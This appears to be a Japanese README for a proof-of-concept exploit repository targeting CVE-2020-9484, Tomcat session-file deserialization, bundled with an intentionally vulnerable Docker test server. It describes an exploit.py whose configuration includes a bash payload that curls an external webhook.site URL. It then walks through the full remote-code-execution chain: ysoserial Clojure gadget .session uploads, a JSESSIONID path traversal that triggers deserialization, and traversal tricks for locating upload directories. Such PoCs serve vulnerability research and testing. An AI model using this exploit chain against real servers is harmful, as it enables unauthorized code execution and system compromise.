
CVE-2020-9484のPoCエクスプロイト、およびそのデモンストレーション用の脆弱なWebアプリケーション
このリポジトリには、CVE-2020-9484 の概念実証エクスプロイトと、この脆弱性があるサンプルWebサーバが含まれています。
影響を受けるTomcatのバージョンは以下の通りです:
PersistentManager が有効になっており、FileStore を使用していること。.session ファイル)を制御でき、アップロード先の場所を知っていること。clojure または commons-collections)が存在すること。サンプルサービスは、2つのページ(/index.jsp または単に /、および /list.jsp)を持つWebサーバです。ユーザーはファイルをアップロード/ダウンロードでき(現在のセッションに固有)、事実上ファイルストレージとして機能します。
/upload へのPOSTリクエストによるファイルアップロードをサポートし、ユーザーがファイル名を選択できます。これにより、拡張子 .session のファイルをアップロードすることが可能です。また、サーバーはファイルを /var/tmp/uploads ディレクトリに保存することがわかっています。PersistentManager が FileStore を使用して有効になっています(context.xml を参照)。clojure:1.8.0 が含まれているため、デシリアライゼーション攻撃が容易になります(pom.xml を参照)。脆弱なサンプルサービスをセットアップするには:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
これで、http://localhost:8085/POC_CVE-2020-9484/ でサービスが稼働するはずです。
次に、exploit.py の先頭にある設定変数を調整します。PAYLOAD(ここではシェルスクリプト)は、サーバーで実行可能な任意のファイルにできます。
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # 脆弱なサービスのファイルアップロードエンドポイント
FILE_UPLOAD_FORM_FIELD = 'file' # アップロードページのHTMLフォーム内のフィールド名
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # 脆弱なサービスがアップロードされたファイルをサーバー上に保存する場所
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # Java実行可能ファイルへのパス(Java 11推奨、yoserialは新しいバージョンをサポートしていません)
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # RCE試行が成功したかどうかを確認するためのペイロード
YOSERIAL_PAYLOAD_TYPE = "Clojure" # これは脆弱なサーバーの依存関係に存在している必要があります。詳細は https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage を参照
次に exploit.py を実行します。 以下のアクションを実行します:
.session ファイルとして)を生成します。これらは最終的にサーバー上でデシリアライズされます:
PAYLOAD ファイルに実行権限を付与します。PAYLOAD ファイルを実行します。PAYLOAD をファイルとしてサーバーにアップロードします。.session ファイルをサーバーにアップロードします。JSESSIONID クッキーに、以前アップロードした .session ファイルのサーバーのセッションストレージからの相対パスを設定してサーバーにリクエストを送信し、それらのファイルのサーバー上でのデシリアライズと、それに続くペイロードの実行を引き起こします。/path/to/uploads/base/directory/<JSESSIONIDクッキーの値>/uploads/filename の形式のパスに保存します。そのような場合、ファイルアップロードのPOSTリクエストで JSESSIONID に ../../../../tmp のような値(上記の exploit.py で使用されている任意の値 "1337"*8 の代わり)を使用すると、アップロードされたファイルがサーバー上のどこに保存されるかを特定するのに役立つ可能性があります。